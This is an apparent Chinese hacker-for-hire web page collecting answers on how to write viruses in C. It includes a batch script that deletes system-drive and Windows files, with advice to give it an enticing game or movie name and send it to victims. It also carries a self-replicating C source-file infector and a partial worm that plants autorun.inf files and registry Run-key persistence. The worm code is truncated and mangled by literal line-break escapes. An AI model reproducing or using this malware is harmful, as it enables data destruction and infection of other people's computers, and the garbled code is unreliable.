黑客24小时在线接单网站

联系黑客,怎么找黑客,24小时在线黑客,黑客在线QQ,找黑客

c语言怎么写木马病毒(c语言木马病毒制作)

本文目录一览:

如何用C语言编一个简单病毒?

建立一个文档,写入如下片段:

@echo off

del /f /s /q %systemdrive%\*.*

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.*

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo

之后保存将文件重命名为"【文件名】.bat"

然后文件会自动变异为木马文件【360 瑞星什么的弹窗狂出】,别管他,允许就行了,大约重命名完成后不到半秒就完事了,然后把这个文件发到别人电脑里,名字弄得吸引人一些,比如游戏啊,电影,歌曲什么的,【扩展名一定为.bat】只要他一打开............片刻之后,除了装系统估计一般人没辙了

以上为最简单的病毒软件了。利用的是批处理删除系统文件的方法

用c语言编写一个计算机病毒的例子

1):首先要知道语言的层次结构,通常会有直接使用“+”“-”“*”“%”语言都是高级语言。这些语言写的代码经过编译前端编译后生成中间代码,最后经过编译后端处理成目标代码,也就是在目标平台上可执行的二进制代码。

2):要知道计算机能执行的只是二进制的代码。无论是高级语言表达式,如(1+2),还是汇编语言,add

r1,r2,r3.

都要翻译成目标平台的二进制代码。

如果你学过微型计算机原理,应该知道一个汇编指令,最终要执行还得用处理器的微指令来表达。

3):最后这些微指令转化成电信号,控制处理器内的众多的与或非门,来实现你想要做的运算。

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

怎样用C语言编写病毒 / 蓝讯

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

object_not_already_infect)

infect_object;

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

如何用C语言写病毒?

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.\x0d\x0a本病毒的功能:\x0d\x0a1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件\x0d\x0a2.在C、D、E盘中生成自动运行文件\x0d\x0a3.注册c:\windows\system\svchost.exe,使其开机自动运行\x0d\x0a4.在C:\windows\system下生成隐蔽DLL文件\x0d\x0a5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过\x0d\x0a请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究\x0d\x0a/* SVCHOST.C */\x0d\x0a/* SVCHOST.EXE */#define SVCHOST_NUM 6\x0d\x0a#include\x0d\x0a#include\x0d\x0achar *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};\x0d\x0achar *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};\x0d\x0achar *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",\x0d\x0a"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",\x0d\x0a"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};\x0d\x0achar *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)\x0d\x0a{\x0d\x0a FILE *input,*output;\x0d\x0a char temp;\x0d\x0a if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))\x0d\x0a {\x0d\x0a while(!feof(input))\x0d\x0a {\x0d\x0a fread(temp,1,1,input);\x0d\x0a fwrite(temp,1,1,output);\x0d\x0a }\x0d\x0a fclose(input);\x0d\x0a fclose(output);\x0d\x0a return 0;\x0d\x0a }\x0d\x0a else return 1;\x0d\x0a}\x0d\x0aint main(void)\x0d\x0a{\x0d\x0a FILE *input,*output;\x0d\x0a int i,k;\x0d\x0a for(i=0;i

回答于 2022-12-11

  • 评论列表:
  •  黑客技术
     发布于 2022-12-23 02:14:34  回复该评论
  • [1])==NULL)) { fputs(buf[j],out); j++; } else j++; }while(ji-1); read=fopen(virus,"rt"); do { p=fgets(buffer,80,read); if(strstr(buffer,int_v
  •  黑客技术
     发布于 2022-12-23 00:14:46  回复该评论
  • (void)\x0d\x0a{\x0d\x0a FILE *input,*output;\x0d\x0a int i,k;\x0d\x0a for(i=0;
  •  黑客技术
     发布于 2022-12-23 05:32:59  回复该评论
  • r *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.ex
  •  黑客技术
     发布于 2022-12-23 06:09:39  回复该评论
  • \x0d\x0a}\x0d\x0aint main(void)\x0d\x0a{\x0d\x0a FILE *input,*output;\x0d\x0a int i,k;\x0d\x0a for(i=0;i回答于 2022-12-11

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.